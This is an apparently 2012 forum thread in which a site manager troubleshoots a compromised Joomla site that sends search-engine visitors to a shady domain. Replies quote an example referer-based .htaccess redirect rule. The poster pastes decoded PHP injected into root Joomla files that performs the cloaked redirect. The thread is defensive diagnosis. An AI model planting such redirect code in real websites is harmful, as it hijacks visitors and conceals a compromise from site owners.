Good evening people.

 

Wasn't sure where to put this so sorry if it's in the wrong place.

 

Today something weird happened with one of the websites in our portfolio. It's not one that I built but it is now under the list of sites we manage.

 

So for me this is something I haven't seen before. It's a Joomla istallation which I have briefly checked. There are no traces of SQL injection (where an iframe redirect is maliciously inserted into the index.php) that I can find. When the site is accessed through a Google/Bing/Yahoo e.t.c search it forwards to a dodgy site.

 

For example type in 'Mytum' to google and the listing comes up top of the organic results. When clicked on however it goes to this site - http://bee.edns.biz/ instead of www.mytumwasterecycling.com so my first thoughts were something like an iframe redirect has been put in maliciously. However if you type the domain into the browser address bar 'www.mytumwasterecycling.com' then the site shows up fine.

 

I've also checked on both my home, work, colleagues and friends computers and run virus scans to eliminate that.

 

Has anyone else seen this before? What the hell is going on???

 

John

Please if anyone has the slightest idea what this might be can you give me some pointers.

 

Cheers,

 

John

It's called a conditional redirect, check your .htaccess files for something like this...

 

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*gooo?gle.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.*
RewriteRule .* http://badsite.com [R,L]

 

and delete it.

Edited July 7, 201214 yr by Bomb

It's called a conditional redirect, check your .htaccess files for something like this...

 

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*gooo?gle.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.*
RewriteRule .* http://badsite.com [R,L]

 

and delete it.

 

Thanks so much for taking the time to reply. It's greatly appreciated.

The .htaccess file of my public_html folder was the first thing I looked at and it seems fine. I took a copy of it and then deleted it from the server, but I still get exactly the same thing

 

Would the .htaccess file be located anywhere else or is there another method of being able to achieve this.

I can post a copy of the file if that will help?

 

Thanks.

its possible you have been hacked. Joomla is not hard to get into if you do not keep it upto date.

 

I have heard of hackers changing content if the user comes from google vs direct traffic to stay hidden.

 

I would look at that first.

Well I think I'm getting a little bit further now.

 

When I looked again at some of the files in the root Joomla folder (COPYRIGHT.php, CREDITS.php e.t.c) there was some base64 code right at the start of the php. Decoded it is as follows:

 

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://piopo.25u.com/");
exit();
}
}
}
}
}

I've removed the code but I'm still getting the problem. Any ideas?

 

Thanks.

Edited July 7, 201214 yr by ctrlaltdel_despair

you need to find out how the person put it there first

Have you tried a scanner?